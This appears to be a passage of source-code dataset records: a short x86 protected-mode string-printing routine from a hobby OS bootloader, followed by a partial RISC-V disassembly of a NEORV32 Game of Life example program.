58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
29.732877
2,999
0.655724
dd14709e4aad0e9ba1f0c35516b5598cffea64bb
374
asm
Assembly
boot/print_pm.asm
zehric/hollowos
63a5ac694b9ea2921b69d76d7652d30d951d5b50
[ "MIT" ]
null
null
null
boot/print_pm.asm
zehric/hollowos
63a5ac694b9ea2921b69d76d7652d30d951d5b50
[ "MIT" ]
null
null
null
boot/print_pm.asm
zehric/hollowos
63a5ac694b9ea2921b69d76d7652d30d951d5b50
[ "MIT" ]
null
null
null
[bits 32] VIDEO_MEMORY equ 0xb8000 WHITE_ON_BLACK equ 0x0f ; white color print_string_pm: pusha mov edx, VIDEO_MEMORY .loop: mov al, [ebx] mov ah, WHITE_ON_BLACK cmp al, 0 ; check if end of string je .done mov [edx], ax ; store character + attribute in video memory add ebx, 1 ; next char add edx, 2 ; next video memory position jmp .loop .done: popa ret
14.384615
60
0.708556
faeefba2c57ed930c8a508873b1d64701d53cd2d
66,722
asm
Assembly
sw/example/game_of_life/main.asm
matejpolj/neorv32
369415dac1111cb9b1faba732476d759dc7405c1
[ "BSD-3-Clause" ]
null
null
null
sw/example/game_of_life/main.asm
matejpolj/neorv32
369415dac1111cb9b1faba732476d759dc7405c1
[ "BSD-3-Clause" ]
null
null
null
sw/example/game_of_life/main.asm
matejpolj/neorv32
369415dac1111cb9b1faba732476d759dc7405c1
[ "BSD-3-Clause" ]
null
null
null
main.elf: file format elf32-littleriscv Disassembly of section .text: 00000000 <_start>: 0: 00000037 lui zero,0x0 00000004 <__crt0_pointer_init>: 4: 80002117 auipc sp,0x80002 8: ff810113 addi sp,sp,-8 # 80001ffc <__ctr0_io_space_begin+0x800021fc> c: 80000197 auipc gp,0x80000 10: 7f418193 addi gp,gp,2036 # 80000800 <__ctr0_io_space_begin+0x80000a00> 00000014 <__crt0_cpu_csr_init>: 14: 00000517 auipc a0,0x0 18: 12050513 addi a0,a0,288 # 134 <__crt0_dummy_trap_handler> 1c: 30551073 csrw mtvec,a0 20: 34151073 csrw mepc,a0 24: 30001073 csrw mstatus,zero 28: 30401073 csrw mie,zero 2c: 30601073 csrw mcounteren,zero 30: ffa00593 li a1,-6 34: 32059073 csrw mcountinhibit,a1 38: b0001073 csrw mcycle,zero 3c: b8001073 csrw mcycleh,zero 40: b0201073 csrw minstret,zero 44: b8201073 csrw minstreth,zero 00000048 <__crt0_reg_file_clear>: 48: 00000093 li ra,0 4c: 00000213 li tp,0 50: 00000293 li t0,0 54: 00000313 li t1,0 58: 00000393 li t2,0 5c: 00000713 li a4,0 60: 00000793 li a5,0 64: 00000813 li a6,0 68: 00000893 li a7,0 6c: 00000913 li s2,0 70: 00000993 li s3,0 74: 00000a13 li s4,0 78: 00000a93 li s5,0 7c: 00000b13 li s6,0 80: 00000b93 li s7,0 84: 00000c13 li s8,0 88: 00000c93 li s9,0 8c: 00000d13 li s10,0 90: 00000d93 li s11,0 94: 00000e13 li t3,0 98: 00000e93 li t4,0 9c: 00000f13 li t5,0 a0: 00000f93 li t6,0 000000a4 <__crt0_reset_io>: a4: 00000417 auipc s0,0x0 a8: d5c40413 addi s0,s0,-676 # fffffe00 <__ctr0_io_space_begin+0x0> ac: 00000497 auipc s1,0x0 b0: f5448493 addi s1,s1,-172 # 0 <_start> 000000b4 <__crt0_reset_io_loop>: b4: 00042023 sw zero,0(s0) b8: 00440413 addi s0,s0,4 bc: fe941ce3 bne s0,s1,b4 <__crt0_reset_io_loop> 000000c0 <__crt0_clear_bss>: c0: 80000597 auipc a1,0x80000 c4: f4458593 addi a1,a1,-188 # 80000004 <__ctr0_io_space_begin+0x80000204> c8: eb818613 addi a2,gp,-328 # 800006b8 <__BSS_END__> 000000cc <__crt0_clear_bss_loop>: cc: 00c5d863 bge a1,a2,dc <__crt0_clear_bss_loop_end> d0: 00058023 sb zero,0(a1) d4: 00158593 addi a1,a1,1 d8: ff5ff06f j cc <__crt0_clear_bss_loop> 000000dc <__crt0_clear_bss_loop_end>: dc: 00002597 auipc a1,0x2 e0: 8d458593 addi a1,a1,-1836 # 19b0 <__crt0_copy_data_src_begin> e4: 80000617 auipc a2,0x80000 e8: f1c60613 addi a2,a2,-228 # 80000000 <__ctr0_io_space_begin+0x80000200> ec: 80000697 auipc a3,0x80000 f0: f1868693 addi a3,a3,-232 # 80000004 <__ctr0_io_space_begin+0x80000204> 000000f4 <__crt0_copy_data_loop>: f4: 00d65c63 bge a2,a3,10c <__crt0_copy_data_loop_end> f8: 00058703 lb a4,0(a1) fc: 00e60023 sb a4,0(a2) 100: 00158593 addi a1,a1,1 104: 00160613 addi a2,a2,1 108: fedff06f j f4 <__crt0_copy_data_loop> 0000010c <__crt0_copy_data_loop_end>: 10c: 00000513 li a0,0 110: 00000593 li a1,0 114: 06c000ef jal ra,180 <main> 00000118 <__crt0_main_aftermath>: 118: 34051073 csrw mscratch,a0 11c: 00000093 li ra,0 120: 00008463 beqz ra,128 <__crt0_main_aftermath_end> 124: 000080e7 jalr ra 00000128 <__crt0_main_aftermath_end>: 128: 30047073 csrci mstatus,8 0000012c <__crt0_main_aftermath_end_loop>: 12c: 10500073 wfi 130: ffdff06f j 12c <__crt0_main_aftermath_end_loop> 00000134 <__crt0_dummy_trap_handler>: 134: ff810113 addi sp,sp,-8 138: 00812023 sw s0,0(sp) 13c: 00912223 sw s1,4(sp) 140: 34202473 csrr s0,mcause 144: 02044663 bltz s0,170 <__crt0_dummy_trap_handler_irq> 148: 34102473 csrr s0,mepc 0000014c <__crt0_dummy_trap_handler_exc_c_check>: 14c: 00041483 lh s1,0(s0) 150: 0034f493 andi s1,s1,3 154: 00240413 addi s0,s0,2 158: 34141073 csrw mepc,s0 15c: 00300413 li s0,3 160: 00941863 bne s0,s1,170 <__crt0_dummy_trap_handler_irq> 00000164 <__crt0_dummy_trap_handler_exc_uncrompressed>: 164: 34102473 csrr s0,mepc 168: 00240413 addi s0,s0,2 16c: 34141073 csrw mepc,s0 00000170 <__crt0_dummy_trap_handler_irq>: 170: 00012403 lw s0,0(sp) 174: 00412483 lw s1,4(sp) 178: 00810113 addi sp,sp,8 17c: 30200073 mret 00000180 <main>: 180: fa010113 addi sp,sp,-96 184: 04112e23 sw ra,92(sp) 188: 04812c23 sw s0,88(sp) 18c: 04912a23 sw s1,84(sp) 190: 05212823 sw s2,80(sp) 194: 05312623 sw s3,76(sp) 198: 05412423 sw s4,72(sp) 19c: 05512223 sw s5,68(sp) 1a0: 05612023 sw s6,64(sp) 1a4: 03712e23 sw s7,60(sp) 1a8: 03812c23 sw s8,56(sp) 1ac: 03912a23 sw s9,52(sp) 1b0: 03a12823 sw s10,48(sp) 1b4: 03b12623 sw s11,44(sp) 1b8: 750000ef jal ra,908 <neorv32_uart0_available> 1bc: 1e050a63 beqz a0,3b0 <main+0x230> 1c0: 7a9000ef jal ra,1168 <neorv32_rte_setup> 1c4: 00005537 lui a0,0x5 1c8: 00000613 li a2,0 1cc: 00000593 li a1,0 1d0: b0050513 addi a0,a0,-1280 # 4b00 <__crt0_copy_data_src_begin+0x3150> 1d4: 744000ef jal ra,918 <neorv32_uart0_setup> 1d8: 00000513 li a0,0 1dc: 7d9000ef jal ra,11b4 <neorv32_rte_check_isa> 1e0: 00001c37 lui s8,0x1 1e4: 00001cb7 lui s9,0x1 1e8: 00000513 li a0,0 1ec: 204000ef jal ra,3f0 <clear_universe> 1f0: 00100513 li a0,1 1f4: 1fc000ef jal ra,3f0 <clear_universe> 1f8: 000017b7 lui a5,0x1 1fc: 4c478513 addi a0,a5,1220 # 14c4 <__etext> 200: 051000ef jal ra,a50 <neorv32_uart0_printf> 204: 00001537 lui a0,0x1 208: 02b00613 li a2,43 20c: 0a200593 li a1,162 210: 4e850513 addi a0,a0,1256 # 14e8 <__etext+0x24> 214: 03d000ef jal ra,a50 <neorv32_uart0_printf> 218: 00001537 lui a0,0x1 21c: 02800613 li a2,40 220: 0a000593 li a1,160 224: 53450513 addi a0,a0,1332 # 1534 <__etext+0x70> 228: 029000ef jal ra,a50 <neorv32_uart0_printf> 22c: 00001537 lui a0,0x1 230: 58850513 addi a0,a0,1416 # 1588 <__etext+0xc4> 234: 01d000ef jal ra,a50 <neorv32_uart0_printf> 238: 7dd000ef jal ra,1214 <neorv32_trng_available> 23c: 00050493 mv s1,a0 240: 00050c63 beqz a0,258 <main+0xd8> 244: 00001537 lui a0,0x1 248: 5c450513 addi a0,a0,1476 # 15c4 <__etext+0x100> 24c: 005000ef jal ra,a50 <neorv32_uart0_printf> 250: 00100493 li s1,1 254: 7d1000ef jal ra,1224 <neorv32_trng_enable> 258: 794000ef jal ra,9ec <neorv32_uart0_char_received> 25c: 02050e63 beqz a0,298 <main+0x118> 260: 80000437 lui s0,0x80000 264: 00440413 addi s0,s0,4 # 80000004 <__ctr0_io_space_begin+0x80000204> 268: 32040a93 addi s5,s0,800 26c: 02800b13 li s6,40 270: 00040913 mv s2,s0 274: 00000993 li s3,0 278: 0e048463 beqz s1,360 <main+0x1e0> 27c: 01f10513 addi a0,sp,31 280: 7d5000ef jal ra,1254 <neorv32_trng_get> 284: 00050593 mv a1,a0 288: 00050c63 beqz a0,2a0 <main+0x120> 28c: 600c0513 addi a0,s8,1536 # 1600 <__etext+0x13c> 290: 7c0000ef jal ra,a50 <neorv32_uart0_printf> 294: fe9ff06f j 27c <main+0xfc> 298: 500000ef jal ra,798 <xorshift32> 29c: fbdff06f j 258 <main+0xd8> 2a0: 01f14783 lbu a5,31(sp) 2a4: 00f90023 sb a5,0(s2) 2a8: 00198993 addi s3,s3,1 2ac: 00190913 addi s2,s2,1 2b0: fd6994e3 bne s3,s6,278 <main+0xf8> 2b4: 02840413 addi s0,s0,40 2b8: fa8a9ce3 bne s5,s0,270 <main+0xf0> 2bc: 00000993 li s3,0 2c0: 00000413 li s0,0 2c4: 00001ab7 lui s5,0x1 2c8: 00100b13 li s6,1 2cc: 00300b93 li s7,3 2d0: 71c000ef jal ra,9ec <neorv32_uart0_char_received> 2d4: 08051c63 bnez a0,36c <main+0x1ec> 2d8: 00040513 mv a0,s0 2dc: 438000ef jal ra,714 <pop_count> 2e0: 000026b7 lui a3,0x2 2e4: 00050613 mv a2,a0 2e8: 90068693 addi a3,a3,-1792 # 1900 <symbols.0+0x294> 2ec: 00098593 mv a1,s3 2f0: 628c8513 addi a0,s9,1576 # 1628 <__etext+0x164> 2f4: 75c000ef jal ra,a50 <neorv32_uart0_printf> 2f8: 00040513 mv a0,s0 2fc: 218000ef jal ra,514 <print_universe> 300: 00144913 xori s2,s0,1 304: 00090513 mv a0,s2 308: 0e8000ef jal ra,3f0 <clear_universe> 30c: 00000a13 li s4,0 310: 02800d13 li s10,40 314: 0a000d93 li s11,160 318: 00000493 li s1,0 31c: 00048613 mv a2,s1 320: 000a0593 mv a1,s4 324: 00040513 mv a0,s0 328: 15c000ef jal ra,484 <get_cell> 32c: 00a12623 sw a0,12(sp) 330: 00048613 mv a2,s1 334: 000a0593 mv a1,s4 338: 00040513 mv a0,s0 33c: 2dc000ef jal ra,618 <get_neighborhood> 340: 00c12783 lw a5,12(sp) 344: 04079063 bnez a5,384 <main+0x204> 348: 05751263 bne a0,s7,38c <main+0x20c> 34c: 00048613 mv a2,s1 350: 000a0593 mv a1,s4 354: 00090513 mv a0,s2 358: 0c4000ef jal ra,41c <set_cell> 35c: 0300006f j 38c <main+0x20c> 360: 438000ef jal ra,798 <xorshift32> 364: 00a90023 sb a0,0(s2) 368: f41ff06f j 2a8 <main+0x128> 36c: 650a8513 addi a0,s5,1616 # 1650 <__etext+0x18c> 370: 6e0000ef jal ra,a50 <neorv32_uart0_printf> 374: 668000ef jal ra,9dc <neorv32_uart0_getc> 378: 07900793 li a5,121 37c: f4f51ee3 bne a0,a5,2d8 <main+0x158> 380: e69ff06f j 1e8 <main+0x68> 384: ffe50513 addi a0,a0,-2 388: fcab72e3 bgeu s6,a0,34c <main+0x1cc> 38c: 00148493 addi s1,s1,1 390: f9a496e3 bne s1,s10,31c <main+0x19c> 394: 001a0a13 addi s4,s4,1 398: f9ba10e3 bne s4,s11,318 <main+0x198> 39c: 1f400513 li a0,500 3a0: 00198993 addi s3,s3,1 3a4: 071000ef jal ra,c14 <neorv32_cpu_delay_ms> 3a8: 00090413 mv s0,s2 3ac: f25ff06f j 2d0 <main+0x150> 3b0: 05c12083 lw ra,92(sp) 3b4: 05812403 lw s0,88(sp) 3b8: 05412483 lw s1,84(sp) 3bc: 05012903 lw s2,80(sp) 3c0: 04c12983 lw s3,76(sp) 3c4: 04812a03 lw s4,72(sp) 3c8: 04412a83 lw s5,68(sp) 3cc: 04012b03 lw s6,64(sp) 3d0: 03c12b83 lw s7,60(sp) 3d4: 03812c03 lw s8,56(sp) 3d8: 03412c83 lw s9,52(sp) 3dc: 03012d03 lw s10,48(sp) 3e0: 02c12d83 lw s11,44(sp) 3e4: 00100513 li a0,1 3e8: 06010113 addi sp,sp,96 3ec: 00008067 ret 000003f0 <clear_universe>: 3f0: 00151793 slli a5,a0,0x1 3f4: 00a787b3 add a5,a5,a0 3f8: 00379793 slli a5,a5,0x3 3fc: 00a787b3 add a5,a5,a0 400: 80000537 lui a0,0x80000 404: 00579793 slli a5,a5,0x5 408: 00450513 addi a0,a0,4 # 80000004 <__ctr0_io_space_begin+0x80000204> 40c: 32000613 li a2,800 410: 00000593 li a1,0 414: 00f50533 add a0,a0,a5 418: 7d10006f j 13e8 <memset> 0000041c <set_cell>: 41c: 09f00793 li a5,159 420: 06b7c063 blt a5,a1,480 <set_cell+0x64> 424: 02700793 li a5,39 428: 04c7cc63 blt a5,a2,480 <set_cell+0x64> 42c: 4035d713 srai a4,a1,0x3 430: 00271793 slli a5,a4,0x2 434: 00e787b3 add a5,a5,a4 438: 00379713 slli a4,a5,0x3 43c: 00151793 slli a5,a0,0x1 440: 00a787b3 add a5,a5,a0 444: 00379793 slli a5,a5,0x3 448: 00a78533 add a0,a5,a0 44c: 00551513 slli a0,a0,0x5 450: 00a707b3 add a5,a4,a0 454: 80000537 lui a0,0x80000 458: 00450513 addi a0,a0,4 # 80000004 <__ctr0_io_space_begin+0x80000204> 45c: 00f50533 add a0,a0,a5 460: fff5c593 not a1,a1 464: 00c50633 add a2,a0,a2 468: 00100793 li a5,1 46c: 0075f593 andi a1,a1,7 470: 00b795b3 sll a1,a5,a1 474: 00064783 lbu a5,0(a2) 478: 00f5e5b3 or a1,a1,a5 47c: 00b60023 sb a1,0(a2) 480: 00008067 ret 00000484 <get_cell>: 484: 0805c063 bltz a1,504 <get_cell+0x80> 488: 09f00793 li a5,159 48c: 00b7d463 bge a5,a1,494 <get_cell+0x10> 490: 00000593 li a1,0 494: 06064c63 bltz a2,50c <get_cell+0x88> 498: 02700793 li a5,39 49c: 00c7d463 bge a5,a2,4a4 <get_cell+0x20> 4a0: 00000613 li a2,0 4a4: fff5c713 not a4,a1 4a8: 00777793 andi a5,a4,7 4ac: 4035d593 srai a1,a1,0x3 4b0: 00100713 li a4,1 4b4: 00f71733 sll a4,a4,a5 4b8: 00259793 slli a5,a1,0x2 4bc: 00b785b3 add a1,a5,a1 4c0: 00151793 slli a5,a0,0x1 4c4: 00a787b3 add a5,a5,a0 4c8: 00379793 slli a5,a5,0x3 4cc: 00a78533 add a0,a5,a0 4d0: 00551513 slli a0,a0,0x5 4d4: 00359593 slli a1,a1,0x3 4d8: 00a585b3 add a1,a1,a0 4dc: 80000537 lui a0,0x80000 4e0: 00450513 addi a0,a0,4 # 80000004 <__ctr0_io_space_begin+0x80000204> 4e4: 00b50533 add a0,a0,a1 4e8: 00c50633 add a2,a0,a2 4ec: 00064503 lbu a0,0(a2) 4f0: 00a77533 and a0,a4,a0 4f4: 01851513 slli a0,a0,0x18 4f8: 41855513 srai a0,a0,0x18 4fc: 00a03533 snez a0,a0 500: 00008067 ret 504: 09f00593 li a1,159 508: f8dff06f j 494 <get_cell+0x10> 50c: 02700613 li a2,39 510: f95ff06f j 4a4 <get_cell+0x20> 00000514 <print_universe>: 514: fe010113 addi sp,sp,-32 518: 01212823 sw s2,16(sp) 51c: 00050913 mv s2,a0 520: 02b00513 li a0,43 524: 00812c23 sw s0,24(sp) 528: 00112e23 sw ra,28(sp) 52c: 00912a23 sw s1,20(sp) 530: 01312623 sw s3,12(sp) 534: 01412423 sw s4,8(sp) 538: 0a000413 li s0,160 53c: 488000ef jal ra,9c4 <neorv32_uart0_putc> 540: fff40413 addi s0,s0,-1 544: 01041413 slli s0,s0,0x10 548: 02d00513 li a0,45 54c: 01045413 srli s0,s0,0x10 550: 474000ef jal ra,9c4 <neorv32_uart0_putc> 554: fe0416e3 bnez s0,540 <print_universe+0x2c> 558: 02b00513 li a0,43 55c: 468000ef jal ra,9c4 <neorv32_uart0_putc> 560: 00d00513 li a0,13 564: 460000ef jal ra,9c4 <neorv32_uart0_putc> 568: 00a00513 li a0,10 56c: 458000ef jal ra,9c4 <neorv32_uart0_putc> 570: 0a000a13 li s4,160 574: 02800993 li s3,40 578: 07c00513 li a0,124 57c: 448000ef jal ra,9c4 <neorv32_uart0_putc> 580: 00000493 li s1,0 584: 00040613 mv a2,s0 588: 00048593 mv a1,s1 58c: 00090513 mv a0,s2 590: ef5ff0ef jal ra,484 <get_cell> 594: 06050e63 beqz a0,610 <print_universe+0xfc> 598: 02300513 li a0,35 59c: 00148493 addi s1,s1,1 5a0: 424000ef jal ra,9c4 <neorv32_uart0_putc> 5a4: ff4490e3 bne s1,s4,584 <print_universe+0x70> 5a8: 07c00513 li a0,124 5ac: 418000ef jal ra,9c4 <neorv32_uart0_putc> 5b0: 00d00513 li a0,13 5b4: 410000ef jal ra,9c4 <neorv32_uart0_putc> 5b8: 00a00513 li a0,10 5bc: 00140413 addi s0,s0,1 5c0: 404000ef jal ra,9c4 <neorv32_uart0_putc> 5c4: fb341ae3 bne s0,s3,578 <print_universe+0x64> 5c8: 02b00513 li a0,43 5cc: 3f8000ef jal ra,9c4 <neorv32_uart0_putc> 5d0: 0a000413 li s0,160 5d4: fff40413 addi s0,s0,-1 5d8: 01041413 slli s0,s0,0x10 5dc: 02d00513 li a0,45 5e0: 01045413 srli s0,s0,0x10 5e4: 3e0000ef jal ra,9c4 <neorv32_uart0_putc> 5e8: fe0416e3 bnez s0,5d4 <print_universe+0xc0> 5ec: 01812403 lw s0,24(sp) 5f0: 01c12083 lw ra,28(sp) 5f4: 01412483 lw s1,20(sp) 5f8: 01012903 lw s2,16(sp) 5fc: 00c12983 lw s3,12(sp) 600: 00812a03 lw s4,8(sp) 604: 02b00513 li a0,43 608: 02010113 addi sp,sp,32 60c: 3b80006f j 9c4 <neorv32_uart0_putc> 610: 02000513 li a0,32 614: f89ff06f j 59c <print_universe+0x88> 00000618 <get_neighborhood>: 618: fd010113 addi sp,sp,-48 61c: 01512a23 sw s5,20(sp) 620: fff58a93 addi s5,a1,-1 624: 02912223 sw s1,36(sp) 628: 01312e23 sw s3,28(sp) 62c: 00060493 mv s1,a2 630: 00058993 mv s3,a1 634: fff60613 addi a2,a2,-1 638: 000a8593 mv a1,s5 63c: 02112623 sw ra,44(sp) 640: 02812423 sw s0,40(sp) 644: 03212023 sw s2,32(sp) 648: 01412c23 sw s4,24(sp) 64c: 00050913 mv s2,a0 650: 00c12623 sw a2,12(sp) 654: e31ff0ef jal ra,484 <get_cell> 658: 00c12603 lw a2,12(sp) 65c: 00098593 mv a1,s3 660: 00050413 mv s0,a0 664: 00090513 mv a0,s2 668: e1dff0ef jal ra,484 <get_cell> 66c: 00c12603 lw a2,12(sp) 670: 00198a13 addi s4,s3,1 674: 000a0593 mv a1,s4 678: 00a40433 add s0,s0,a0 67c: 00090513 mv a0,s2 680: e05ff0ef jal ra,484 <get_cell> 684: 00048613 mv a2,s1 688: 000a8593 mv a1,s5 68c: 00a40433 add s0,s0,a0 690: 00090513 mv a0,s2 694: df1ff0ef jal ra,484 <get_cell> 698: 00048613 mv a2,s1 69c: 000a0593 mv a1,s4 6a0: 00a40433 add s0,s0,a0 6a4: 00090513 mv a0,s2 6a8: dddff0ef jal ra,484 <get_cell> 6ac: 00148493 addi s1,s1,1 6b0: 00048613 mv a2,s1 6b4: 000a8593 mv a1,s5 6b8: 00a40433 add s0,s0,a0 6bc: 00090513 mv a0,s2 6c0: dc5ff0ef jal ra,484 <get_cell> 6c4: 00048613 mv a2,s1 6c8: 00098593 mv a1,s3 6cc: 00a40433 add s0,s0,a0 6d0: 00090513 mv a0,s2 6d4: db1ff0ef jal ra,484 <get_cell> 6d8: 00a40433 add s0,s0,a0 6dc: 00048613 mv a2,s1 6e0: 000a0593 mv a1,s4 6e4: 00090513 mv a0,s2 6e8: d9dff0ef jal ra,484 <get_cell> 6ec: 02c12083 lw ra,44(sp) 6f0: 00a40533 add a0,s0,a0 6f4: 02812403 lw s0,40(sp) 6f8: 02412483 lw s1,36(sp) 6fc: 02012903 lw s2,32(sp) 700: 01c12983 lw s3,28(sp) 704: 01812a03 lw s4,24(sp) 708: 01412a83 lw s5,20(sp) 70c: 03010113 addi sp,sp,48 710: 00008067 ret 00000714 <pop_count>: 714: fe010113 addi sp,sp,-32 718: 00912a23 sw s1,20(sp) 71c: 01212823 sw s2,16(sp) 720: 01312623 sw s3,12(sp) 724: 01412423 sw s4,8(sp) 728: 01512223 sw s5,4(sp) 72c: 00112e23 sw ra,28(sp) 730: 00812c23 sw s0,24(sp) 734: 00050993 mv s3,a0 738: 00000913 li s2,0 73c: 00000493 li s1,0 740: 02800a13 li s4,40 744: 0a000a93 li s5,160 748: 00000413 li s0,0 74c: 00040613 mv a2,s0 750: 00048593 mv a1,s1 754: 00098513 mv a0,s3 758: d2dff0ef jal ra,484 <get_cell> 75c: 00140413 addi s0,s0,1 760: 00a90933 add s2,s2,a0 764: ff4414e3 bne s0,s4,74c <pop_count+0x38> 768: 00148493 addi s1,s1,1 76c: fd549ee3 bne s1,s5,748 <pop_count+0x34> 770: 01c12083 lw ra,28(sp) 774: 01812403 lw s0,24(sp) 778: 01412483 lw s1,20(sp) 77c: 00c12983 lw s3,12(sp) 780: 00812a03 lw s4,8(sp) 784: 00412a83 lw s5,4(sp) 788: 00090513 mv a0,s2 78c: 01012903 lw s2,16(sp) 790: 02010113 addi sp,sp,32 794: 00008067 ret 00000798 <xorshift32>: 798: 800007b7 lui a5,0x80000 79c: 00078793 mv a5,a5 7a0: 0007a503 lw a0,0(a5) # 80000000 <__ctr0_io_space_begin+0x80000200> 7a4: 00d51713 slli a4,a0,0xd 7a8: 00a74733 xor a4,a4,a0 7ac: 01175513 srli a0,a4,0x11 7b0: 00e54733 xor a4,a0,a4 7b4: 00571513 slli a0,a4,0x5 7b8: 00e54533 xor a0,a0,a4 7bc: 00a7a023 sw a0,0(a5) 7c0: 00008067 ret 000007c4 <__neorv32_uart_itoa>: 7c4: fd010113 addi sp,sp,-48 7c8: 02812423 sw s0,40(sp) 7cc: 02912223 sw s1,36(sp) 7d0: 03212023 sw s2,32(sp) 7d4: 01312e23 sw s3,28(sp) 7d8: 01412c23 sw s4,24(sp) 7dc: 02112623 sw ra,44(sp) 7e0: 01512a23 sw s5,20(sp) 7e4: 00001a37 lui s4,0x1 7e8: 00050493 mv s1,a0 7ec: 00058413 mv s0,a1 7f0: 00058523 sb zero,10(a1) 7f4: 00000993 li s3,0 7f8: 00410913 addi s2,sp,4 7fc: 660a0a13 addi s4,s4,1632 # 1660 <numbers.1> 800: 00a00593 li a1,10 804: 00048513 mv a0,s1 808: 37d000ef jal ra,1384 <__umodsi3> 80c: 00aa0533 add a0,s4,a0 810: 00054783 lbu a5,0(a0) 814: 01390ab3 add s5,s2,s3 818: 00048513 mv a0,s1 81c: 00fa8023 sb a5,0(s5) 820: 00a00593 li a1,10 824: 319000ef jal ra,133c <__udivsi3> 828: 00198993 addi s3,s3,1 82c: 00a00793 li a5,10 830: 00050493 mv s1,a0 834: fcf996e3 bne s3,a5,800 <__neorv32_uart_itoa+0x3c> 838: 00090693 mv a3,s2 83c: 00900713 li a4,9 840: 03000613 li a2,48 844: 0096c583 lbu a1,9(a3) 848: 00070793 mv a5,a4 84c: fff70713 addi a4,a4,-1 850: 01071713 slli a4,a4,0x10 854: 01075713 srli a4,a4,0x10 858: 00c59a63 bne a1,a2,86c <__neorv32_uart_itoa+0xa8> 85c: 000684a3 sb zero,9(a3) 860: fff68693 addi a3,a3,-1 864: fe0710e3 bnez a4,844 <__neorv32_uart_itoa+0x80> 868: 00000793 li a5,0 86c: 00f907b3 add a5,s2,a5 870: 00000593 li a1,0 874: 0007c703 lbu a4,0(a5) 878: 00070c63 beqz a4,890 <__neorv32_uart_itoa+0xcc> 87c: 00158693 addi a3,a1,1 880: 00b405b3 add a1,s0,a1 884: 00e58023 sb a4,0(a1) 888: 01069593 slli a1,a3,0x10 88c: 0105d593 srli a1,a1,0x10 890: fff78713 addi a4,a5,-1 894: 02f91863 bne s2,a5,8c4 <__neorv32_uart_itoa+0x100> 898: 00b40433 add s0,s0,a1 89c: 00040023 sb zero,0(s0) 8a0: 02c12083 lw ra,44(sp) 8a4: 02812403 lw s0,40(sp) 8a8: 02412483 lw s1,36(sp) 8ac: 02012903 lw s2,32(sp) 8b0: 01c12983 lw s3,28(sp) 8b4: 01812a03 lw s4,24(sp) 8b8: 01412a83 lw s5,20(sp) 8bc: 03010113 addi sp,sp,48 8c0: 00008067 ret 8c4: 00070793 mv a5,a4 8c8: fadff06f j 874 <__neorv32_uart_itoa+0xb0> 000008cc <__neorv32_uart_tohex>: 8cc: 00001637 lui a2,0x1 8d0: 00758693 addi a3,a1,7 8d4: 00000713 li a4,0 8d8: 66c60613 addi a2,a2,1644 # 166c <symbols.0> 8dc: 02000813 li a6,32 8e0: 00e557b3 srl a5,a0,a4 8e4: 00f7f793 andi a5,a5,15 8e8: 00f607b3 add a5,a2,a5 8ec: 0007c783 lbu 